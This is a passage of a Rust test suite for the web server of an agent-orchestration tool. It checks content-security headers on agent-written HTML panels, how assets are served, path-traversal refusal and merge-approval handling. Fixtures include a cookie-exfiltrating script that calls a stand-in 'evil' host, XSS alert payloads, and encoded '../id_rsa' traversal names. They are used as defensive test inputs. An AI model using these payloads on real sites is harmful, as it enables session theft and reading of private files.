10847            "0123456789abcdef".to_owned(),
10848            "task".to_owned(),
10849            Config::default(),
10850        );
10851        state.id = id.to_owned();
10852        state.status = status;
10853        let dir = runs.join(id);
10854        std::fs::create_dir_all(&dir).expect("run dir");
10855        std::fs::write(
10856            dir.join("run.json"),
10857            serde_json::to_string_pretty(&state).expect("serialize run"),
10858        )
10859        .expect("write run.json");
10860    }
10861
10862    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10863        let body = serde_json::json!({
10864            "schema": 1,
10865            "pid": 4242,
10866            "started_at": Timestamp::now().to_string(),
10867            "updated_at": updated_at.to_string(),
10868            "idle": false,
10869            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10870            "completed": 7,
10871            "polls": 143,
10872        });
10873        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10874    }
10875
10876    /// A loop that starts, finds nothing to do, and waits to be told to stop.
10877    ///
10878    /// No test in this file may start the real loop - see [`Ui::launch`] for
10879    /// why - so this stands in for the only thing the routes need a loop to
10880    /// do: keep running until `Stop` is set, then return. A real
10881    /// `serve_until` here would resolve its queue and its status file through
10882    /// the process-global magi home, claim whatever it found in the
10883    /// operator's live backlog, overwrite the status file of the `magi serve`
10884    /// that owns it, and spend real agent quota on a real competition.
10885    fn launch_idle(
10886        _opts: daemon::Opts,
10887        stop: daemon::Stop,
10888    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10889        Box::pin(async move {
10890            while !stop.stopped() {
10891                tokio::time::sleep(Duration::from_millis(2)).await;
10892            }
10893            Ok(())
10894        })
10895    }
10896
10897    /// A loop that fails on the way up, the way one whose home has gone
10898    /// read-only does.
10899    fn launch_broken(
10900        _opts: daemon::Opts,
10901        _stop: daemon::Stop,
10902    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10903        // The stand-in dies instantly, so a restarted one can record its own
10904        // failure before the start's response is read. The second attempt
10905        // therefore fails with a different message, to tell a stale error
10906        // from a fresh one.
10907        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
10908        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
10909        Box::pin(async move {
10910            Err(anyhow::anyhow!(if first {
10911                "publish the daemon status file: read-only file system"
10912            } else {
10913                "the restarted stand-in failed as well"
10914            }))
10915        })
10916    }
10917
10918    /// The loop view once `want` accepts it.
10919    ///
10920    /// Polled rather than asserted straight after the POST because stopping
10921    /// is deliberately not instant - that is the contract - and rather than
10922    /// slept through because a fixed wait is either flaky or slow.
10923    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
10924    /// finite, so a genuine hang fails the test instead of hanging the
10925    /// suite.
10926    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
10927        for _ in 0..SETTLE_STEPS {
10928            let view = fx.get("/api/loop").await.json();
10929            if want(&view) {
10930                return view;
10931            }
10932            tokio::time::sleep(Duration::from_millis(10)).await;
10933        }
10934        panic!(
10935            "the loop never settled: {}",
10936            fx.get("/api/loop").await.json()
10937        );
10938    }
10939
10940    /// File an open question directly in the store the server reads.
10941    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
10942        let store = fx.questions();
10943        let mut q = Question::new(
10944            "20260902-000000-beef".to_owned(),
10945            "implement".to_owned(),
10946            "impl-A".to_owned(),
10947            summary.to_owned(),
10948            "because it matters".to_owned(),
10949            choices.iter().map(|c| (*c).to_owned()).collect(),
10950        );
10951        store.put(&mut q).expect("put question");
10952        q.id
10953    }
10954
10955    /// A question with a panel the server can serve, plus the named assets.
10956    ///
10957    /// Written through `Questions::put_panel` rather than by laying out the
10958    /// directory here, so these tests exercise the same on-disk shape the
10959    /// agents produce and cannot pass against a layout only the tests know.
10960    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
10961        let store = fx.questions();
10962        let mut q = Question::new(
10963            "20260902-000000-beef".to_owned(),
10964            "land".to_owned(),
10965            "fix".to_owned(),
10966            "Merge this?".to_owned(),
10967            "the diff is in the panel".to_owned(),
10968            vec!["merge".to_owned(), "hold".to_owned()],
10969        );
10970        // Staged outside the questions root, because `put_panel` copies from
10971        // wherever the agent left its files.
10972        let staging = fx.home.path().join("staging");
10973        std::fs::create_dir_all(&staging).expect("staging dir");
10974        let sources: Vec<PathBuf> = assets
10975            .iter()
10976            .map(|(name, bytes)| {
10977                let path = staging.join(name);
10978                std::fs::write(&path, bytes).expect("write staged asset");
10979                path
10980            })
10981            .collect();
10982        store
10983            .put_panel(&mut q, html, &sources)
10984            .expect("write the panel");
10985        store.put(&mut q).expect("put question");
10986        q.id
10987    }
10988
10989    /// A talk on disk, without talking to a model.
10990    ///
10991    /// Written as JSON straight into the store the server reads, because the
10992    /// only constructor `talk::begin` offers takes no turn but still requires
10993    /// a real caller-visible flow. The one thing this cannot make up is the
10994    /// seat, so it is built with the real `SeatState::new` and serialized -
10995    /// the alternative, hand-writing that object, would make these tests fail
10996    /// the day the seat gains a field.
10997    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
10998        seed_talk_at(&fx.talks(), id, status)
10999    }
11000
11001    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11002        std::fs::create_dir_all(store.root()).expect("talks dir");
11003        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11004            .expect("serialize a seat");
11005        let body = serde_json::json!({
11006            "schema": 1,
11007            "id": id,
11008            "repo": "/repo/magi",
11009            "agent": "mock",
11010            "status": status,
11011            "turns": [],
11012            "created_at": Timestamp::now().to_string(),
11013            "updated_at": Timestamp::now().to_string(),
11014            "seat": seat,
11015        });
11016        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11017        store.get(id).expect("the seeded talk has to be readable");
11018        id.to_owned()
11019    }
11020
11021    #[tokio::test]
11022    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11023        let fx = Fixture::start().await;
11024        let id = panel(
11025            &fx,
11026            "<h1>Merge?</h1><img src=\"diff.svg\">",
11027            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11028        );
11029
11030        for path in [
11031            format!("/api/questions/{id}/panel"),
11032            format!("/api/questions/{id}/asset/diff.svg"),
11033        ] {
11034            let res = fx.get(&path).await;
11035            assert_eq!(res.status, 200, "{path}: {}", res.body);
11036            // The whole string, not a substring. A weakened directive - an
11037            // `img-src *` that lets a panel beacon out to a remote host, a
11038            // `script-src` anything, a missing `form-action` that lets it post
11039            // the owner's decision to a third party - has to fail here, and a
11040            // `contains` assertion would let every one of those through.
11041            assert_eq!(
11042                res.header("content-security-policy"),
11043                Some(
11044                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11045                     font-src data:; base-uri 'none'; form-action 'none'; \
11046                     frame-ancestors 'self'"
11047                ),
11048                "{path} is the only thing between a hostile panel and the tailnet"
11049            );
11050            assert_eq!(
11051                res.header("x-content-type-options"),
11052                Some("nosniff"),
11053                "{path}: a browser must not re-decide the type we sent"
11054            );
11055            assert_eq!(
11056                res.header("referrer-policy"),
11057                Some("no-referrer"),
11058                "{path}: a panel must not leak the question id off the machine"
11059            );
11060
11061            // The front end mounts the frame only after a `HEAD` says the
11062            // panel is there, so `HEAD` has to answer with the same status and
11063            // the same policy as `GET` - a preflight that came back without
11064            // the CSP would mean a frame mounted on an unverified promise.
11065            let pre = fx.head(&path).await;
11066            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11067            assert_eq!(
11068                pre.header("content-security-policy"),
11069                res.header("content-security-policy"),
11070                "{path}: the preflight carries the same policy"
11071            );
11072            assert_eq!(
11073                pre.header("content-type"),
11074                res.header("content-type"),
11075                "{path}: the preflight carries the same type"
11076            );
11077        }
11078    }
11079
11080    #[tokio::test]
11081    async fn a_panel_reaches_the_browser_byte_for_byte() {
11082        let fx = Fixture::start().await;
11083        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
11084        // tag, an entity, and a multi-byte character. The sandbox is what makes
11085        // this safe, so nothing here may be rewritten on the way out - a
11086        // rewritten diff is a diff the owner cannot trust.
11087        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
11088        let id = panel(&fx, html, &[]);
11089
11090        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11091
11092        assert_eq!(res.status, 200);
11093        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11094        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11095        assert_eq!(
11096            res.header("content-disposition"),
11097            None,
11098            "the panel itself is rendered in the frame, not downloaded"
11099        );
11100    }
11101
11102    #[tokio::test]
11103    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11104        let fx = Fixture::start().await;
11105        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11106        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11107        let id = panel(
11108            &fx,
11109            "<img src=\"diff.svg\"><img src=\"shot.png\">",
11110            &[("diff.svg", svg), ("shot.png", png)],
11111        );
11112
11113        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11114        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11115
11116        assert_eq!(as_svg.status, 200);
11117        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11118        // An SVG is XML that may carry script. Inside the panel it is an
11119        // `<img src>` and the script cannot run; opened at the top level it
11120        // would be a document on magi's own origin, so the browser is told to
11121        // download it instead of rendering it.
11122        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11123
11124        assert_eq!(as_png.status, 200);
11125        assert_eq!(as_png.header("content-type"), Some("image/png"));
11126        assert_eq!(
11127            as_png.header("content-disposition"),
11128            None,
11129            "a raster image has no execution surface, so tapping it still shows it"
11130        );
11131        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11132    }
11133
11134    #[tokio::test]
11135    async fn an_html_asset_is_never_served_as_html() {
11136        let fx = Fixture::start().await;
11137        let id = panel(
11138            &fx,
11139            "<p>see the notes</p>",
11140            &[
11141                (
11142                    "notes.html",
11143                    b"<script>fetch('http://evil/'+document.cookie)</script>",
11144                ),
11145                ("hook.js", b"fetch('http://evil/')"),
11146                ("data.json", b"{}"),
11147                ("HEADLINE.TXT", b"plain"),
11148            ],
11149        );
11150
11151        for name in ["notes.html", "hook.js", "data.json"] {
11152            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11153            assert_eq!(res.status, 200, "{name}: {}", res.body);
11154            // Serving this as text/html would be a way to reach agent markup
11155            // at the top level of the operator's browser, outside the frame's
11156            // sandbox and outside its CSP - which is the whole thing the panel
11157            // design exists to prevent. Unlisted types are downloads.
11158            assert_eq!(
11159                res.header("content-type"),
11160                Some("application/octet-stream"),
11161                "{name} must not be a type the browser will execute or render"
11162            );
11163        }
11164        // The whitelist is matched case-insensitively, so an agent shouting the
11165        // extension still gets a readable file rather than a download.
11166        let txt = fx
11167            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11168            .await;
11169        assert_eq!(
11170            txt.header("content-type"),
11171            Some("text/plain; charset=utf-8")
11172        );
11173    }
11174
11175    #[tokio::test]
11176    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11177        let fx = Fixture::start().await;
11178        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11179        // Something outside the panel directory that a traversal would reach if
11180        // one got through, so a passing test is not merely "the file was
11181        // missing anyway".
11182        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11183
11184        // Decoded before this server's handler sees them: axum percent-decodes
11185        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
11186        // string with a NUL in it. All three look like ordinary single-segment
11187        // filenames to the router, so the router passes them through and
11188        // `valid_asset_name` is what refuses them - for the literal `..`, and
11189        // for `/`, `\` and NUL not being in the permitted character set.
11190        for encoded in [
11191            "%2e%2e%2fid_rsa",
11192            "..%2fid_rsa",
11193            "..%5cid_rsa",
11194            "%2e%2e%5cid_rsa",
11195            "diff%00.svg",
11196            "..",
11197            ".hidden",
11198            "%2e%2e%2f%2e%2e%2fid_rsa",
11199        ] {
11200            let res = fx
11201                .get(&format!("/api/questions/{id}/asset/{encoded}"))
11202                .await;
11203            assert_eq!(
11204                res.status, 400,
11205                "`{encoded}` has to be refused by name, not looked up: {}",
11206                res.body
11207            );
11208            assert!(res.json()["error"].is_string(), "{}", res.body);
11209        }
11210
11211        // Not decoded, and never this handler's problem: a real slash makes the
11212        // request one segment too long for `/api/questions/{id}/asset/{name}`,
11213        // so axum's router has no route to match and answers before any code
11214        // here runs. Asserted so that a future route with a wildcard segment
11215        // cannot quietly open this door.
11216        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11217            let res = fx
11218                .get(&format!("/api/questions/{id}/asset/{literal}"))
11219                .await;
11220            assert_eq!(
11221                res.status, 404,
11222                "`{literal}` must not match the asset route at all: {}",
11223                res.body
11224            );
11225        }
11226    }
11227
11228    #[tokio::test]
11229    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11230        let fx = Fixture::start().await;
11231        let plain = ask(&fx, "Which backend?", &["SQLite"]);
11232        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11233
11234        // A question nobody wrote a panel for. The client preflights with HEAD
11235        // and cannot see inside a sandboxed frame, so this must be a status and
11236        // not an empty page.
11237        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11238        assert_eq!(none.status, 404, "{}", none.body);
11239        assert!(none.json()["error"].is_string(), "{}", none.body);
11240        assert_eq!(
11241            fx.head(&format!("/api/questions/{plain}/panel"))
11242                .await
11243                .status,
11244            404,
11245            "the preflight is the only way the client can learn this"
11246        );
11247
11248        // A name that is perfectly legal and simply is not there.
11249        let missing = fx
11250            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11251            .await;
11252        assert_eq!(missing.status, 404, "{}", missing.body);
11253        assert!(missing.json()["error"].is_string(), "{}", missing.body);
11254
11255        // A question that does not exist at all, on both routes.
11256        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11257        assert_eq!(
11258            fx.get("/api/questions/nope/asset/diff.svg").await.status,
11259            404
11260        );
11261    }
11262
11263    #[tokio::test]
11264    async fn a_run_with_an_open_question_reads_as_waiting() {
11265        let fx = Fixture::start().await;
11266        let run = "20260902-000000-beef".to_owned();
11267        write_run(&fx.runs(), &run, RunStatus::Implementing);
11268
11269        let before = fx.get("/api/runs").await.json();
11270        assert_eq!(before[0]["waiting"], false, "{before}");
11271
11272        let store = fx.questions();
11273        let mut q = Question::new(
11274            run.clone(),
11275            "implement".to_owned(),
11276            "impl-A".to_owned(),
11277            "Which backend?".to_owned(),
11278            String::new(),
11279            vec!["SQLite".to_owned()],
11280        );
11281        store.put(&mut q).expect("put");
11282
11283        let during = fx.get("/api/runs").await.json();
11284        assert_eq!(during[0]["waiting"], true, "{during}");
11285
11286        // Answered: the run is moving again, and the flag has to follow without
11287        // anything having rewritten run.json.
11288        q.answer(Answer::Choice("SQLite".to_owned()))
11289            .expect("answer");
11290        store.put(&mut q).expect("put");
11291        let after = fx.get("/api/runs").await.json();
11292        assert_eq!(after[0]["waiting"], false, "{after}");
11293    }
11294
11295    #[tokio::test]
11296    async fn an_open_question_is_listed_and_counted_by_health() {
11297        let fx = Fixture::start().await;
11298        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11299
11300        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11301        let listed = fx.get("/api/questions").await.json();
11302        assert_eq!(listed.as_array().expect("array").len(), 1);
11303        assert_eq!(listed[0]["id"], id);
11304        assert_eq!(listed[0]["status"], "open");
11305        assert_eq!(listed[0]["choices"][1], "Redis");
11306        // The count is what makes the phone's indicator honest: it is the one
11307        // number meaning nothing will move until a human acts.
11308        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11309    }
11310
11311    fn obsolete_approval_state() -> RunState {
11312        let mut state = crate::land::tests::repair_state(true, true);
11313        state.pr = Some(crate::run::PrRecord {
11314            url: "https://github.com/example/repo/pull/42".into(),
11315            number: 42,
11316            state: "open".into(),
11317            checks: "green".into(),
11318            round: 1,
11319            rounds: 4,
11320            red_at_merge: Vec::new(),
11321        });
11322        state
11323    }
11324
11325    #[tokio::test]
11326    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11327        for owner in ["missing", "current", "completed", "later"] {
11328            let fx = Fixture {
11329                home: TempDir::new().unwrap(),
11330                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11331            };
11332            let mut state = obsolete_approval_state();
11333            state.status = RunStatus::Landing;
11334            state.parked = true;
11335            state.driver_exited = true;
11336            let mut q = Question::new(
11337                state.id.clone(),
11338                crate::land::APPROVAL_NODE.into(),
11339                "land".into(),
11340                "Old approval".into(),
11341                "Original evidence".into(),
11342                vec!["merge".into(), "hold".into()],
11343            );
11344            state.land_approval = Some(crate::run::LandApproval {
11345                question: q.id.clone(),
11346                head: "head".into(),
11347            });
11348            state.save_under(fx.home.path()).unwrap();
11349            let stale = state.clone();
11350            fx.questions().put(&mut q).unwrap();
11351            let mut task = Task::new(
11352                "Owner".into(),
11353                "Original instruction".into(),
11354                state.repo.clone(),
11355                Source::Human,
11356            );
11357            task.runs.push(state.id.clone());
11358            task.status = if owner == "completed" {
11359                TaskStatus::Done
11360            } else {
11361                TaskStatus::Parked
11362            };
11363            if owner == "later" {
11364                task.runs.push("later-run".into());
11365            }
11366            if owner != "missing" {
11367                fx.queue().put(&mut task).unwrap();
11368            }
11369            let ui = Arc::new(Ui::new(
11370                fx.queue(),
11371                fx.questions(),
11372                fx.talks(),
11373                fx.runs(),
11374                fx.home.path().into(),
11375                state.repo.clone(),
11376            ));
11377            let response = question_answer(
11378                State(ui),
11379                Path(q.id.clone()),
11380                Ok(Json(NewAnswer {
11381                    choice: Some(crate::merge_decision::DISMISS.into()),
11382                    text: None,
11383                    ..Default::default()
11384                })),
11385            )
11386            .await
11387            .unwrap();
11388            assert_eq!(
11389                response.0.question.resolution().as_deref(),
11390                Some(crate::merge_decision::DISMISS)
11391            );
11392            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11393            assert_eq!(disk.status, RunStatus::Superseded);
11394            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11395            assert!(!crate::merge_decision::resumable_hold(&disk));
11396            assert_eq!(
11397                serde_json::to_value(&disk.pr).unwrap(),
11398                serde_json::to_value(&stale.pr).unwrap()
11399            );
11400            assert_eq!(fx.questions().count_open(), 0);
11401            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11402            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11403            if owner == "missing" {
11404                assert!(fx.queue().list().is_empty());
11405            } else {
11406                let after = fx.queue().get(&task.id).unwrap();
11407                assert_eq!(
11408                    after.status,
11409                    if owner == "current" {
11410                        TaskStatus::Done
11411                    } else {
11412                        task.status
11413                    }
11414                );
11415                assert_eq!(after.runs, task.runs);
11416                assert_eq!(after.instruction, task.instruction);
11417                assert_eq!(after.action_applied(&q.id), owner == "current");
11418            }
11419        }
11420    }
11421
11422    #[tokio::test]
11423    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11424        let fx = Fixture::start().await;
11425        let mut state = obsolete_approval_state();
11426        state.status = RunStatus::Landing;
11427        state.parked = true;
11428        state.driver_exited = true;
11429        let mut q = Question::new(
11430            state.id.clone(),
11431            crate::land::APPROVAL_NODE.into(),
11432            "land".into(),
11433            "Superseded PR approval".into(),
11434            "Original review evidence".into(),
11435            vec!["merge".into(), "hold".into()],
11436        );
11437        state.land_approval = Some(crate::run::LandApproval {
11438            question: q.id.clone(),
11439            head: "old-reviewed-head".into(),
11440        });
11441        // The old persisted PR may still say open even when a separate change
11442        // already landed. Dismissal must not use that snapshot to close it.
11443        state.save_under(fx.home.path()).unwrap();
11444        let stale_driver = state.clone();
11445        fx.questions().put(&mut q).unwrap();
11446        let path = fx
11447            .home
11448            .path()
11449            .join("questions")
11450            .join(format!("{}.json", q.id));
11451        let mut legacy = serde_json::to_value(&q).unwrap();
11452        legacy["schema"] = 9.into();
11453        legacy.as_object_mut().unwrap().remove("merge_target");
11454        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11455
11456        // POST without GET tests legacy upgrade and validation at the actual
11457        // entry point, rather than constructing a modern card in the test.
11458        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11459        let answer_path = format!("/api/questions/{}/answer", q.id);
11460        let res = fx.post(&answer_path, Some(&body)).await;
11461        assert_eq!(res.status, 200, "{}", res.body);
11462        let disk = fx.questions().get(&q.id).unwrap();
11463        assert_eq!(
11464            disk.resolution().as_deref(),
11465            Some(crate::merge_decision::DISMISS)
11466        );
11467        assert!(disk.detail.starts_with("Original review evidence"));
11468        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11469        assert_eq!(retired.status, RunStatus::Superseded);
11470        assert_eq!(
11471            serde_json::to_value(&retired.pr).unwrap(),
11472            serde_json::to_value(&state.pr).unwrap()
11473        );
11474        assert!(!retired.merge_decision.as_ref().unwrap().closed);
11475        assert!(!crate::merge_decision::resumable_hold(&retired));
11476        assert!(fx.queue().list().is_empty());
11477        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11478        // A restarted server re-reads the persisted pending list.
11479        let addr = Fixture::serve(
11480            fx.home.path(),
11481            PathBuf::from("/repo/magi"),
11482            launch_idle,
11483            None,
11484        )
11485        .await;
11486        let reconnected = Fixture {
11487            home: fx.home,
11488            addr,
11489        };
11490        let listed = reconnected.get("/api/questions").await.json();
11491        assert!(
11492            listed
11493                .as_array()
11494                .unwrap()
11495                .iter()
11496                .all(|q| q["status"] != "open")
11497        );
11498        assert_eq!(listed[0]["id"], q.id, "history remains available");
11499        assert_eq!(
11500            reconnected.get("/api/health").await.json()["questions_open"],
11501            0
11502        );
11503        assert_eq!(
11504            reconnected
11505                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11506                .await
11507                .status,
11508            409
11509        );
11510        // A late waiter cannot turn the old answer into a new decision.
11511        assert!(
11512            reconnected
11513                .questions()
11514                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11515                .is_err()
11516        );
11517        // The same guard used by claims, repair and publication rejects a
11518        // saved in-memory driver as well as the persisted terminal record.
11519        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11520    }
11521
11522    #[tokio::test]
11523    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11524        let fx = Fixture::start().await;
11525        let mut state = obsolete_approval_state();
11526        state.status = RunStatus::Landing;
11527        state.driver_exited = true;
11528        let mut q = Question::new(
11529            state.id.clone(),
11530            crate::land::APPROVAL_NODE.into(),
11531            "land".into(),
11532            "Obsolete approval".into(),
11533            String::new(),
11534            vec!["merge".into(), "hold".into()],
11535        );
11536        state.land_approval = Some(crate::run::LandApproval {
11537            question: q.id.clone(),
11538            head: "head".into(),
11539        });
11540        state.save_under(fx.home.path()).unwrap();
11541        fx.questions().put(&mut q).unwrap();
11542        let mut task = Task::new(
11543            "Owner".into(),
11544            "Original instruction".into(),
11545            state.repo.clone(),
11546            Source::Human,
11547        );
11548        task.runs = vec![state.id.clone(), "later-run".into()];
11549        fx.queue().put(&mut task).unwrap();
11550        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11551        let claim = fx.queue().claim(&task.id).unwrap();
11552        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11553        let path = format!("/api/questions/{}/answer", q.id);
11554        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11555        assert!(fx.questions().get(&q.id).unwrap().status.open());
11556        drop(claim);
11557        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11558        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11559        assert!(fx.questions().get(&q.id).unwrap().status.open());
11560        drop(publication);
11561        // Unknown liveness and armed auto-merge both fail without settling.
11562        state.driver_exited = false;
11563        state.driver_pid = None;
11564        state.save_under(fx.home.path()).unwrap();
11565        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11566        state.driver_exited = true;
11567        state.land_armed_head = Some("head".into());
11568        state.save_under(fx.home.path()).unwrap();
11569        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11570        state.land_armed_head = None;
11571        state.save_under(fx.home.path()).unwrap();
11572        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11573        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11574        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11575    }
11576
11577    #[tokio::test]
11578    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11579        let fx = Fixture::start().await;
11580        let mut state = obsolete_approval_state();
11581        state.status = RunStatus::Landing;
11582        state.driver_exited = true;
11583        let mut q = Question::new(
11584            state.id.clone(),
11585            crate::land::APPROVAL_NODE.into(),
11586            "land".into(),
11587            "Obsolete approval".into(),
11588            String::new(),
11589            vec!["merge".into(), "hold".into()],
11590        );
11591        state.land_approval = Some(crate::run::LandApproval {
11592            question: q.id.clone(),
11593            head: "head".into(),
11594        });
11595        state.save_under(fx.home.path()).unwrap();
11596        fx.questions().put(&mut q).unwrap();
11597        let mut task = Task::new(
11598            "Owner".into(),
11599            "Original instruction".into(),
11600            state.repo.clone(),
11601            Source::Human,
11602        );
11603        task.runs.push(state.id.clone());
11604        task.status = TaskStatus::Parked;
11605        fx.queue().put(&mut task).unwrap();
11606        // Model a crash after the run stop was persisted but before the queue
11607        // and answered question were flushed. Retrying must finish, not resume.
11608        state.merge_decision = Some(crate::merge_decision::Decision {
11609            question: q.id.clone(),
11610            target: crate::merge_decision::Target {
11611                pr: state.pr.as_ref().unwrap().url.clone(),
11612                head: "head".into(),
11613                language: "ja".into(),
11614            },
11615            choice: crate::merge_decision::DISMISS.into(),
11616            closed: false,
11617            replacement_run: None,
11618            replacement_pr: None,
11619        });
11620        state.status = RunStatus::Superseded;
11621        state.save_under(fx.home.path()).unwrap();
11622        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11623        let path = format!("/api/questions/{}/answer", q.id);
11624        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11625        let done = fx.queue().get(&task.id).unwrap();
11626        assert_eq!(done.status, TaskStatus::Done);
11627        assert_eq!(done.runs, task.runs);
11628        assert_eq!(done.instruction, task.instruction);
11629        assert!(done.action_applied(&q.id));
11630        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11631        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11632        assert!(!fx.questions().get(&q.id).unwrap().status.open());
11633    }
11634
11635    #[tokio::test]
11636    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
11637        let home = TempDir::new().unwrap();
11638        let ui = Arc::new(Ui::new(
11639            Queue::at(home.path().join("queue")),
11640            Questions::at(home.path().join("questions")),
11641            Talks::at(home.path().join("talks")),
11642            home.path().join("runs"),
11643            home.path().to_owned(),
11644            home.path().to_owned(),
11645        ));
11646        let talks = &ui.talks;
11647        let chat =
11648            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
11649        let mut q = Question::new(
11650            "run".into(),
11651            crate::land::APPROVAL_NODE.into(),
11652            "land".into(),
11653            "Merge?".into(),
11654            String::new(),
11655            vec!["merge".into(), "hold".into()],
11656        );
11657        q.routed_task = Some("task".into());
11658        q.routed_chat = Some(chat.id.clone());
11659        q.merge_target = Some(crate::merge_decision::Target {
11660            pr: "https://example.test/pull/1".into(),
11661            head: "head-a".into(),
11662            language: "en".into(),
11663        });
11664        ui.questions.put(&mut q).unwrap();
11665        let send = |body| {
11666            question_answer(
11667                State(ui.clone()),
11668                Path(q.id.clone()),
11669                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
11670            )
11671        };
11672        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
11673        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
11674        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
11675        assert!(send(wrong_chat).await.is_err());
11676        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
11677        assert!(send(stale).await.is_err());
11678        assert!(ui.questions.get(&q.id).unwrap().status.open());
11679        assert!(send(button.clone()).await.is_ok());
11680        assert_eq!(
11681            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11682            Some("merge")
11683        );
11684        assert!(send(button).await.is_err());
11685    }
11686
11687    #[tokio::test]
11688    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
11689        let home = TempDir::new().unwrap();
11690        let ui = Arc::new(Ui::new(
11691            Queue::at(home.path().join("queue")),
11692            Questions::at(home.path().join("questions")),
11693            Talks::at(home.path().join("talks")),
11694            home.path().join("runs"),
11695            home.path().to_owned(),
11696            home.path().to_owned(),
11697        ));
11698        for choice in [crate::land::APPROVE, crate::land::HOLD] {
11699            let mut q = Question::new(
11700                "run".into(),
11701                crate::land::APPROVAL_NODE.into(),
11702                "land".into(),
11703                "Merge?".into(),
11704                String::new(),
11705                vec!["merge".into(), choice.into()],
11706            );
11707            q.routed_task = Some("task".into());
11708            q.merge_target = Some(crate::merge_decision::Target {
